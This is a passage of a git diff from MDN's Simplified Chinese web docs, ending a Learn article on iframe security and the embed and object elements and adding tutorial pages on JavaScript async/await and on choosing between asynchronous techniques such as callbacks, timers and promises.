如果内容获得许可,你必须遵守许可条款。例如,MDN上的内容是在CC-BY-SA下许可的,这意味着,如果你要引用我们的内容,就必须用适当的方式注明来源,即使你对内容做了实质性的修改。

-
- -

使用 HTTPS

- -

HTTPSHTTP的加密版本您应该尽可能使用HTTPS为您的网站提供服务:

- -
    -
  1. HTTPS减少了远程内容在传输过程中被篡改的机会,
  2. -
  3. HTTPS防止嵌入式内容访问您的父文档中的内容,反之亦然。
  4. -
- -

使用HTTPS需要一个安全证书,这可能是昂贵的(尽管Let's Encrypt让这件事变得更容易),如果你没有,可以使用HTTP来为你的父文档提供服务。但是,由于HTTPS的第二个好处,无论成本如何,您绝对不能使用HTTP嵌入第三方内容(在最好的情况下,您的用户的Web浏览器会给他们一个可怕的警告)。所有有声望的公司,例如Google Maps或Youtube,当您嵌入内容时,<iframe>将通过HTTPS提供 - 查看<iframe> src属性内的URL。

- -
-

注意Github页面允许默认情况下通过HTTPS提供内容,因此对托管内容很有用。如果您正在使用不同的托管,并且不确定,请向您的托管服务商询问。

-
- -

始终使用sandbox属性

- -

想尽可能减少攻击者在你的网站上做坏事的机会,那么你应该给嵌入的内容仅能完成自己工作的权限当然,这也适用于你自己的内容。一个允许包含在其里的代码以适当的方式执行或者用于测试,但不能对其他代码库(意外或恶意)造成任何损害的容器称为沙盒

- -

未沙盒化(Unsandboxed)内容可以做得太多(执行JavaScript,提交表单,弹出窗口等)默认情况下,您应该使用没有参数的sandbox属性来强制执行所有可用的限制,如我们前面的示例所示。

- -

如果绝对需要,您可以逐个添加权限(sandbox=""属性值内) - 请参阅sandbox所有可用选项参考条目。其中重要的一点是,你永远不应该同时添加allow-scriptsallow-same-origin到你的sandbox属性中-在这种情况下,嵌入式内容可以绕过阻止站点执行脚本的同源安全策略,并使用JavaScript完全关闭沙盒。

- -
-

注意如果攻击者可以欺骗人们直接访问恶意内容(在iframe之外),则沙盒无法提供保护。如果某些内容可能是恶意的(例如,用户生成的内容),请保证其是从不同的向您的主站点提供的。

-
- -

配置CSP指令

- -

CSP代表内容安全策略,它提供一组HTTP标头(由web服务器发送时与元数据一起发送的元数据),旨在提高HTML文档的安全性。<iframe>s安全性方面,您可以将服务器配置为发送适当的X-Frame-Options  标题。这样做可以防止其他网站在其网页中嵌入您的内容(这将导致点击和一系列其他攻击),正如我们之前看到的那样,MDN开发人员已经做了这些工作。

- -
-

注意:您可以阅读Frederik Braun的帖子在X-Frame-Options安全性头上获取有关此主题的更多背景信息。显然,在这篇文章中已经解释得很清楚了。

-
- -

<embed>和<object>元素

- -

<embed><object>元素的功能不同于<iframe>—— 这些元素是用来嵌入多种类型的外部内容的通用嵌入工具,其中包括像Java小程序和Flash,PDF(可在浏览器中显示为一个PDF插件)这样的插件技术,甚至像视频,SVG和图像的内容!

- -
-

注意插件是一种对浏览器原生无法读取的内容提供访问权限的软件。

-
- -

然而,您不太可能使用这些元素 - Applet几年来一直没有被使用;由于许多原因,Flash不再受欢迎(见下面的插件案例);PDF更倾向于被链接而不是被嵌入;其他内容,如图像和视频都有更优秀、更容易元素来处理。插件和这些嵌入方法真的是一种传统技术,我们提及它们主要是为了以防您在某些情况下遇到问题,比如内部网或企业项目等。

- -

如果您发现自己需要嵌入插件内容,那么您至少需要一些这样的信息:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{{htmlelement("embed")}}{{htmlelement("object")}}
嵌入内容的网址{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
嵌入内容的准确媒体类型{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
由插件控制的框的高度和宽度(以CSS像素为单位){{htmlattrxref('height','embed')}}
- {{htmlattrxref('width','embed')}}
{{htmlattrxref('height','object')}}
- {{htmlattrxref('width','object')}}
名称和值,将插件作为参数提供具有这些名称和值的ad hoc属性单标签<param>元素,包含在内<object>
独立的HTML内容作为不可用资源的回退不支持(<noembed>已过时)包含在元素<object>之后<param>
- -
-

注意<object>需要data属性,type属性或两者。如果您同时使用这两个,您也可以使用该typemustmatch属性(仅在Firefox中实现,在本文中)。typemustmatch保持嵌入文件不运行,除非type属性提供正确的媒体类型。typemustmatch因此,当您嵌入来自不同来源的内容(可以防止攻击者通过插件运行任意脚本)时,可以赋予重要的安全优势

-
- -

下面是一个使用该<embed>元素嵌入Flash影片的示例(请参阅此处的Github,并检查源代码):

- -
<embed src="whoosh.swf" quality="medium"
-       bgcolor="#ffffff" width="550" height="400"
-       name="whoosh" align="middle" allowScriptAccess="sameDomain"
-       allowFullScreen="false" type="application/x-shockwave-flash"
-       pluginspage="http://www.macromedia.com/go/getflashplayer">
- -

很可怕,不是吗 。Adobe Flash工具生成的HTML往往更糟糕,使用嵌入<object>元素的<embed>元素来覆盖所有的基础(查看一个例子)。甚至有一段时间,Flash被成功地用作HTML5视频的备用内容,但是这种情况越来越被认为是不必要的。

- -

现在来看一个<object>将PDF嵌入一个页面的例子(参见实例源代码):

- -
<object data="mypdf.pdf" type="application/pdf"
-        width="800" height="1200" typemustmatch>
-  <p>You don't have a PDF plugin, but you can <a href="myfile.pdf">download the PDF file.</a></p>
-</object>
- -

PDF是纸与数据之间重要的阶梯,但它们在可访问性上有些问题并且可能难以在小屏幕上阅读。它们在一些圈子中仍然受欢迎,我们最好是用链接指向它们,而不是将其嵌入到网页中,以便它们可以在单独的页面上被下载或被阅读。

- -

针对插件的情况

- -

以前,插件在网络上是不可或缺的。还记得你必须安装Adobe Flash Player才能在线观看电影的日子吗?并且你还会不断地收到关于更新Flash Player和Java运行环境的烦人警报。Web技术已经变得更加强大,那些日子已经结束了。对于大多数应用程序,现在是停止依赖插件传播内容,开始利用Web技术的时候了。

- - - -

那你该怎么办?如果您需要交互性,HTML和JavaScript可以轻松地为您完成工作,而不需要Java小程序或过时的ActiveX / BHO技术。您可以使用HTML5视频来满足媒体需求,矢量图形SVG,以及复杂图像和动画画布彼得·埃尔斯特(Peter Elst)几年前已经提到,对于工作Adobe Flash极少是正确的工具,除了专门的游戏和商业应用。对于ActiveX,即使微软的Edge浏览器也不再支持。

- -

总结

- -

在Web文档中嵌入其他内容这一主题可以很快变得非常复杂,因此在本文中,我们尝试以一种简单而熟悉的方式来介绍它,这种介绍方式将立即显示出相关性,同时仍暗示了一些涉及更高级功能的技术。刚开始,除了嵌入第三方内容(如地图和视频),您不太可能在网页上使用到嵌入技术。当你变得更有经验时,你可能会开始为他们找到更多的用途。

- -

除了我们在这里讨论的那些外,还有许多涉及嵌入外部内容的技术。我们看到了一些在前面的文章中出现的,如<video><audio><img>,但还有其它的有待关注,如  <canvas>用于JavaScript生成的2D和3D图形,<svg>用于嵌入矢量图形我们将在此学习模块的下一篇文章中学习SVG

- -

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}

diff --git a/files/zh-cn/learn/javascript/asynchronous/async_await/index.html b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html new file mode 100644 index 0000000000..739ab63602 --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html @@ -0,0 +1,379 @@ +--- +title: 'async和await:让异步编程更简单' +slug: learn/JavaScript/异步/Async_await +translation_of: Learn/JavaScript/Asynchronous/Async_await +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}
+ +

async functions 和 await 关键字是最近添加到JavaScript语言里面的。它们是ECMAScript 2017 JavaScript版的一部分(参见ECMAScript Next support in Mozilla)。简单来说,它们是基基于promises的语法糖,使异步代码更易于编写和阅读。通过使用它们,异步代码看起来更像是老式同步代码,因此它们非常值得学习。本文为您提供了您需要了解的内容。

+ + + + + + + + + + + + +
先决条件:基本的计算机知识,较好理解 JavaScript 基础,以及理解一般异步代码和 promises 。
目标:理解并使用 promise
+ +

async/await 基础

+ +

在代码中使用 async / await 有两个部分。

+ +

async 关键字

+ +

首先,我们使用 async 关键字,把它放在函数声明之前,使其成为 async function。异步函数是一个知道怎样使用 await 关键字调用异步代码的函数。

+ +

尝试在浏览器的JS控制台中键入以下行:

+ +
function hello() { return "Hello" };
+hello();
+ +

该函数返回“Hello” —— 没什么特别的,对吧?

+ +

如果我们将其变成异步函数呢?请尝试以下方法:

+ +
async function hello() { return "Hello" };
+hello();
+ +

哈。现在调用该函数会返回一个 promise。这是异步函数的特征之一 —— 它保证函数的返回值为 promise。

+ +

你也可以创建一个异步函数表达式(参见 async function expression ),如下所示:

+ +
let hello = async function() { return "Hello" };
+hello();
+ +

你可以使用箭头函数:

+ +
let hello = async () => { return "Hello" };
+ +

这些都基本上是一样的。

+ +

要实际使用promise完成时返回的值,我们可以使用.then()块,因为它返回的是 promise:

+ +
hello().then((value) => console.log(value))
+ +

甚至只是简写如

+ +
hello().then(console.log)
+ +

这就像我们在上一篇文章中看到的那样。

+ +

将 async 关键字加到函数申明中,可以告诉它们返回的是 promise,而不是直接返回值。此外,它避免了同步函数为支持使用 await 带来的任何潜在开销。在函数声明为 async 时,JavaScript引擎会添加必要的处理,以优化你的程序。爽!

+ +

await关键字

+ +

当 await 关键字与异步函数一起使用时,它的真正优势就变得明显了 —— 事实上, await 只在异步函数里面才起作用。它可以放在任何异步的,基于 promise 的函数之前。它会暂停代码在该行上,直到 promise 完成,然后返回结果值。在暂停的同时,其他正在等待执行的代码就有机会执行了。

+ +

您可以在调用任何返回Promise的函数时使用 await,包括Web API函数。

+ +

这是一个简单的示例:

+ +
async function hello() {
+  return greeting = await Promise.resolve("Hello");
+};
+
+hello().then(alert);
+ +

当然,上面的示例不是很有用,但它确实展示了语法。让我们继续,看一个真实示例。

+ +

 使用 async/await 重写 promise 代码

+ +

让我们回顾一下我们在上一篇文章中简单的 fetch 示例:

+ +
fetch('coffee.jpg')
+.then(response => response.blob())
+.then(myBlob => {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

到现在为止,你应该对 promises 及其工作方式有一个较好的理解。让我们将其转换为使用async / await看看它使事情变得简单了多少:

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  let myBlob = await response.blob();
+
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+myFetch()
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

它使代码简单多了,更容易理解 —— 去除了到处都是 .then() 代码块!

+ +

由于 async 关键字将函数转换为 promise,您可以重构以上代码 —— 使用 promise 和 await 的混合方式,将函数的后半部分抽取到新代码块中。这样做可以更灵活:

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) => {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+});
+ +

您可以尝试自己输入示例,或运行我们的 live example (另请参阅source code)。

+ +

它到底是如何工作的?

+ +

您会注意到我们已经将代码封装在函数中,并且我们在 function 关键字之前包含了 async 关键字。这是必要的 –– 您必须创建一个异步函数来定义一个代码块,在其中运行异步代码; await 只能在异步函数内部工作。

+ +

myFetch()函数定义中,您可以看到代码与先前的 promise 版本非常相似,但存在一些差异。不需要附加 .then() 代码块到每个promise-based方法的结尾,你只需要在方法调用前添加 await 关键字,然后把结果赋给变量。await 关键字使JavaScript运行时暂停于此行,允许其他代码在此期间执行,直到异步函数调用返回其结果。一旦完成,您的代码将继续从下一行开始执行。例如:

+ +
let response = await fetch('coffee.jpg');
+ +

解析器会在此行上暂停,直到当服务器返回的响应变得可用时。此时 fetch() 返回的 promise 将会完成(fullfilled),返回的 response 会被赋值给 response 变量。一旦服务器返回的响应可用,解析器就会移动到下一行,从而创建一个Blob。Blob这行也调用基于异步promise的方法,因此我们也在此处使用await。当操作结果返回时,我们将它从myFetch()函数中返回。

+ +

这意味着当我们调用myFetch()函数时,它会返回一个promise,因此我们可以将.then()链接到它的末尾,在其中我们处理显示在屏幕上的blob

+ +

你可能已经觉得“这真的很酷!”,你是对的 —— 用更少的.then()块来封装代码,同时它看起来很像同步代码,所以它非常直观。

+ +

添加错误处理

+ +

如果你想添加错误处理,你有几个选择。

+ +

您可以将同步的 try...catch 结构和 async/await 一起使用 。此示例扩展了我们上面展示的第一个版本代码:

+ +
async function myFetch() {
+  try {
+    let response = await fetch('coffee.jpg');
+    let myBlob = await response.blob();
+
+    let objectURL = URL.createObjectURL(myBlob);
+    let image = document.createElement('img');
+    image.src = objectURL;
+    document.body.appendChild(image);
+  } catch(e) {
+    console.log(e);
+  }
+}
+
+myFetch();
+ +

catch() {} 代码块会接收一个错误对象 e ; 我们现在可以将其记录到控制台,它将向我们提供详细的错误消息,显示错误被抛出的代码中的位置。

+ +

如果你想使用我们上面展示的第二个(重构)代码版本,你最好继续混合方式并将 .catch() 块链接到 .then() 调用的末尾,就像这样:

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) => {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch((e) =>
+  console.log(e)
+);
+ +

这是因为 .catch() 块将捕获来自异步函数调用和promise链中的错误。如果您在此处使用了try/catch 代码块,则在调用 myFetch() 函数时,您仍可能会收到未处理的错误。

+ +

您可以在GitHub上找到这两个示例:

+ + + +

等待Promise.all()

+ +

async / await 建立在 promises 之上,因此它与promises提供的所有功能兼容。这包括Promise.all() –– 你完全可以通过调用 await Promise.all() 将所有结果返回到变量中,就像同步代码一样。让我们再次回到上一篇中看到的例子。在单独的选项卡中打开它,以便您可以与下面显示的新版本进行比较和对比。

+ +

将其转换为 async / await(请参阅 样例 和 源码),现在看起来像这样:

+ +
async function fetchAndDecode(url, type) {
+  let response = await fetch(url);
+
+  let content;
+
+  if(type === 'blob') {
+    content = await response.blob();
+  } else if(type === 'text') {
+    content = await response.text();
+  }
+
+  return content;
+}
+
+async function displayContent() {
+  let coffee = fetchAndDecode('coffee.jpg', 'blob');
+  let tea = fetchAndDecode('tea.jpg', 'blob');
+  let description = fetchAndDecode('description.txt', 'text');
+
+  let values = await Promise.all([coffee, tea, description]);
+
+  let objectURL1 = URL.createObjectURL(values[0]);
+  let objectURL2 = URL.createObjectURL(values[1]);
+  let descText = values[2];
+
+  let image1 = document.createElement('img');
+  let image2 = document.createElement('img');
+  image1.src = objectURL1;
+  image2.src = objectURL2;
+  document.body.appendChild(image1);
+  document.body.appendChild(image2);
+
+  let para = document.createElement('p');
+  para.textContent = descText;
+  document.body.appendChild(para);
+}
+
+displayContent()
+.catch((e) =>
+  console.log(e)
+);
+ +

可以看到 fetchAndDecode() 函数只进行了一丁点的修改就转换成了异步函数。请看Promise.all() 行:

+ +
let values = await Promise.all([coffee, tea, description]);
+ +

在这里,通过使用await,我们能够在三个promise的结果都可用的时候,放入values数组中。这看起来非常像同步代码。我们需要将所有代码封装在一个新的异步函数displayContent() 中,尽管没有减少很多代码,但能够将大部分代码从 .then() 代码块移出,使代码得到了简化,更易读。

+ +

为了错误处理,我们在 displayContent() 调用中包含了一个 .catch() 代码块;这将处理两个函数中出现的错误。

+ +
+

注意: 也可以在异步函数中使用同步 finally 代码块代替 .finally() 异步代码块,以显示操作如何进行的最终报告——您可以在我们的 live example (查看源代码)中看到这一点。

+
+ +

async/await的缺陷

+ +

了解Async/await是非常有用的,但还有一些缺点需要考虑。

+ +

Async/await 让你的代码看起来是同步的,在某种程度上,也使得它的行为更加地同步。 await 关键字会阻塞其后的代码,直到promise完成,就像执行同步操作一样。它确实可以允许其他任务在此期间继续运行,但您自己的代码被阻塞。

+ +

这意味着您的代码可能会因为大量await的promises相继发生而变慢。每个await都会等待前一个完成,而你实际想要的是所有的这些promises同时开始处理(就像我们没有使用async/await时那样)。

+ +

有一种模式可以缓解这个问题——通过将 Promise 对象存储在变量中来同时开始它们,然后等待它们全部执行完毕。让我们看一些证明这个概念的例子。

+ +

我们有两个可用的例子 —— slow-async-await.html(参见source code)和fast-async-await.html(参见source code)。它们都以自定义promise函数开始,该函数使用setTimeout() 调用伪造异步进程:

+ +
function timeoutPromise(interval) {
+  return new Promise((resolve, reject) => {
+    setTimeout(function(){
+      resolve("done");
+    }, interval);
+  });
+};
+ +

然后每个包含一个 timeTest() 异步函数,等待三个 timeoutPromise() 调用:

+ +
async function timeTest() {
+  ...
+}
+ +

每一个都以记录开始时间结束,查看 timeTest() promise 需要多长时间才能完成,然后记录结束时间并报告操作总共需要多长时间:

+ +
let startTime = Date.now();
+timeTest().then(() => {
+  let finishTime = Date.now();
+  let timeTaken = finishTime - startTime;
+  alert("Time taken in milliseconds: " + timeTaken);
+})
+ +

timeTest() 函数在每种情况下都不同。

+ +

slow-async-await.html示例中,timeTest() 如下所示:

+ +
async function timeTest() {
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+}
+ +

在这里,我们直接等待所有三个timeoutPromise()调用,使每个调用3秒钟。后续的每一个都被迫等到最后一个完成 - 如果你运行第一个例子,你会看到弹出框报告的总运行时间大约为9秒。

+ +

fast-async-await.html示例中,timeTest() 如下所示:

+ +
async function timeTest() {
+  const timeoutPromise1 = timeoutPromise(3000);
+  const timeoutPromise2 = timeoutPromise(3000);
+  const timeoutPromise3 = timeoutPromise(3000);
+
+  await timeoutPromise1;
+  await timeoutPromise2;
+  await timeoutPromise3;
+}
+ +

在这里,我们将三个Promise对象存储在变量中,这样可以同时启动它们关联的进程。

+ +

接下来,我们等待他们的结果 - 因为promise都在基本上同时开始处理,promise将同时完成;当您运行第二个示例时,您将看到弹出框报告总运行时间仅超过3秒!

+ +

您必须仔细测试您的代码,并在性能开始受损时牢记这一点。

+ +

另一个小小的不便是你必须将等待执行的promise封装在异步函数中。

+ +

Async/await 的类方法

+ +

最后值得一提的是,我们可以在类/对象方法前面添加async,以使它们返回promises,并await它们内部的promises。查看 ES class code we saw in our object-oriented JavaScript article,然后查看使用异步方法的修改版本:

+ +
class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  async greeting() {
+    return await Promise.resolve(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+
+let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
+ +

第一个实例方法可以使用如下:

+ +
han.greeting().then(console.log);
+ +

浏览器的支持

+ +

决定是否使用 async/await 时的一个考虑因素是支持旧浏览器。它们适用于大多数浏览器的现代版本,与promise相同; 主要的支持问题存在于Internet Explorer和Opera Mini。

+ +

如果你想使用async/await但是担心旧的浏览器支持,你可以考虑使用BabelJS库 —— 这允许你使用最新的JavaScript编写应用程序,让Babel找出用户浏览器需要的更改。在遇到不支持async/await 的浏览器时,Babel的 polyfill 可以自动提供适用于旧版浏览器的实现。

+ +

总结

+ +

async/await提供了一种很好的,简化的方法来编写更易于阅读和维护的异步代码。即使浏览器支持在撰写本文时比其他异步代码机制更受限制,但无论是现在还是将来,都值得学习和考虑使用。

+ +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}

+ +

本章内容

+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html new file mode 100644 index 0000000000..276d815b85 --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html @@ -0,0 +1,523 @@ +--- +title: 选择正确的方法 +slug: learn/JavaScript/异步/Choosing_the_right_approach +translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}
+ +

为了完成这个模块,我们将简要讨论之前章节谈论过编码技术和功能,看看你应该使用哪一个,并提供适当的建议和提醒。随着时间的推移,我们可能会添加到此资源中。

+ + + + + + + + + + + + +
预备条件:基本的计算机素养,对JavaScript基础知识的合理理解。
目标:能够在使用不同的异步编程技术时做出合理的选择。
+ +

异步回调

+ +

通常在旧式API中找到,涉及将函数作为参数传递给另一个函数,然后在异步操作完成时调用该函数,以便回调可以依次对结果执行某些操作。这是promise的前身;它不那么高效或灵活。仅在必要时使用。

+ + + + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYes (recursive callbacks)Yes (nested callbacks)No
+ +

代码示例

+ +

通过XMLHttpRequest API加载资源的示例(run it live,并查看see the source):

+ +
function loadAsset(url, type, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.open('GET', url);
+  xhr.responseType = type;
+
+  xhr.onload = function() {
+    callback(xhr.response);
+  };
+
+  xhr.send();
+}
+
+function displayImage(blob) {
+  let objectURL = URL.createObjectURL(blob);
+
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+loadAsset('coffee.jpg', 'blob', displayImage);
+ +

缺陷

+ + + +

浏览器兼容性

+ +

非常好的一般支持,尽管API中回调的确切支持取决于特定的API。有关更具体的支持信息,请参阅您正在使用的API的参考文档。

+ +

更多信息

+ + + +

setTimeout()

+ +

setTimeout() 是一种允许您在经过任意时间后运行函数的方法

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
YesYes (recursive timeouts)Yes (nested timeouts)No
+ +

代码示例

+ +

这里浏览器将在执行匿名函数之前等待两秒钟,然后将显示警报消息(see it running livesee the source code):

+ +
let myGreeting = setTimeout(function() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+ +

缺陷

+ +

您可以使用递归的setTimeout()调用以类似于setInterval()的方式重复运行函数,使用如下代码:

+ +
let i = 1;
+setTimeout(function run() {
+  console.log(i);
+  i++;
+
+  setTimeout(run, 100);
+}, 100);
+ +

递归setTimeout()setInterval()之间存在差异:

+ + + +

当你的代码有可能比你分配的时间间隔更长时间运行时,最好使用递归的setTimeout() ––这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。

+ +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+ +

更多信息

+ + + +

setInterval()

+ +

setInterval()函数允许重复执行一个函数,并设置时间间隔。不如requestAnimationFrame()有效率,但允许您选择运行速率/帧速率。

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYesNo (unless it is the same one)No
+ +

代码示例

+ +

以下函数创建一个新的Date()对象,使用toLocaleTimeString()从中提取时间字符串,然后在UI中显示它。然后我们使用setInterval()每秒运行一次,创建每秒更新一次的数字时钟的效果(see this livesee the source):

+ +
function displayTime() {
+   let date = new Date();
+   let time = date.toLocaleTimeString();
+   document.getElementById('demo').textContent = time;
+}
+
+const createClock = setInterval(displayTime, 1000);
+ +

缺陷

+ + + +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+ +

更多信息

+ + + +

requestAnimationFrame()

+ +

requestAnimationFrame()是一种允许您以给定当前浏览器/系统的最佳帧速率重复且高效地运行函数的方法。除非您需要特定的速率帧,否则您应该尽可能使用它而不要去使用setInterval()/recursive setTimeout()

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYesNo (unless it is the same one)No
+ +

代码示例

+ +

一个简单的动画旋转器;你可以查看example live on GitHub(参见 source code ):

+ +
const spinner = document.querySelector('div');
+let rotateCount = 0;
+let startTime = null;
+let rAF;
+
+function draw(timestamp) {
+  if(!startTime) {
+    startTime = timestamp;
+  }
+
+  let rotateCount = (timestamp - startTime) / 3;
+
+  spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
+
+  if(rotateCount > 359) {
+    rotateCount = 0;
+  }
+
+  rAF = requestAnimationFrame(draw);
+}
+
+draw();
+ +

缺陷

+ + + +

浏览器兼容性

+ +

{{Compat("api.Window.requestAnimationFrame")}}

+ +

更多信息

+ + + +

Promises

+ +

Promises 是一种JavaScript功能,允许您运行异步操作并等到它完全完成后再根据其结果运行另一个操作。 Promise是现代异步JavaScript的支柱。

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoYesSee Promise.all(), below
+ +

代码示例

+ +

以下代码从服务器获取图像并将其显示在 {{htmlelement("img")}} 元素中;(see it live alsothe source code):

+ +
fetch('coffee.jpg')
+.then(response => response.blob())
+.then(myBlob => {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

缺陷

+ +

Promise链可能很复杂,难以解析。如果你嵌套了许多promises,你最终可能会遇到类似的麻烦来回调地狱。例如:

+ +
remotedb.allDocs({
+  include_docs: true,
+  attachments: true
+}).then(function (result) {
+  var docs = result.rows;
+  docs.forEach(function(element) {
+    localdb.put(element.doc).then(function(response) {
+      alert("Pulled doc with id " + element.doc._id + " and added to local db.");
+    }).catch(function (err) {
+      if (err.name == 'conflict') {
+        localdb.get(element.doc._id).then(function (resp) {
+          localdb.remove(resp._id, resp._rev).then(function (resp) {
+// et cetera...
+ +

最好使用promises的链功能,这样使用更平顺,更易于解析的结构:

+ +
remotedb.allDocs(...).then(function (resultOfAllDocs) {
+  return localdb.put(...);
+}).then(function (resultOfPut) {
+  return localdb.get(...);
+}).then(function (resultOfGet) {
+  return localdb.put(...);
+}).catch(function (err) {
+  console.log(err);
+});
+ +

乃至:

+ +
remotedb.allDocs(...)
+.then(resultOfAllDocs => {
+  return localdb.put(...);
+})
+.then(resultOfPut => {
+  return localdb.get(...);
+})
+.then(resultOfGet => {
+  return localdb.put(...);
+})
+.catch(err => console.log(err));
+ +

这涵盖了很多基础知识。对于更完整的论述,请参阅诺兰劳森的We have a problem with promises

+ +

浏览器兼容性

+ +

{{Compat("javascript.builtins.Promise")}}

+ +

更多信息

+ + + +

Promise.all()

+ +

一种JavaScript功能,允许您等待多个promises完成,然后根据所有其他promises的结果运行进一步的操作。

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoNoYes
+ +

代码示例

+ +

以下示例从服务器获取多个资源,并使用Promise.all()等待所有资源可用,然后显示所有这些资源––  see it live,并查看source code

+ +
function fetchAndDecode(url, type) {
+  // Returning the top level promise, so the result of the entire chain is returned out of the function
+  return fetch(url).then(response => {
+    // Depending on what type of file is being fetched, use the relevant function to decode its contents
+    if(type === 'blob') {
+      return response.blob();
+    } else if(type === 'text') {
+      return response.text();
+    }
+  })
+  .catch(e => {
+    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
+  });
+}
+
+// Call the fetchAndDecode() method to fetch the images and the text, and store their promises in variables
+let coffee = fetchAndDecode('coffee.jpg', 'blob');
+let tea = fetchAndDecode('tea.jpg', 'blob');
+let description = fetchAndDecode('description.txt', 'text');
+
+// Use Promise.all() to run code only when all three function calls have resolved
+Promise.all([coffee, tea, description]).then(values => {
+  console.log(values);
+  // Store each value returned from the promises in separate variables; create object URLs from the blobs
+  let objectURL1 = URL.createObjectURL(values[0]);
+  let objectURL2 = URL.createObjectURL(values[1]);
+  let descText = values[2];
+
+  // Display the images in <img> elements
+  let image1 = document.createElement('img');
+  let image2 = document.createElement('img');
+  image1.src = objectURL1;
+  image2.src = objectURL2;
+  document.body.appendChild(image1);
+  document.body.appendChild(image2);
+
+  // Display the text in a paragraph
+  let para = document.createElement('p');
+  para.textContent = descText;
+  document.body.appendChild(para);
+});
+ +

缺陷

+ + + +

浏览器兼容性

+ +

{{Compat("javascript.builtins.Promise.all")}}

+ +

更多信息

+ + + +

Async/await

+ +

构造在promises之上的语法糖,允许您使用更像编写同步回调代码的语法来运行异步操作。

+ + + + + + + + + + + + + + + + + +
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoYesYes (in combination with Promise.all())
+ +

代码示例

+ +

以下示例是我们之前看到的简单承诺示例的重构,该示例获取并显示图像,使用async / await编写(see it live,并查看source code):

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  let myBlob = await response.blob();
+
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+myFetch();
+ +

缺陷

+ + + +

浏览器兼容性

+ +

{{Compat("javascript.statements.async_function")}}

+ +

更多信息

+ + + +

{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}

+ +

本章内容

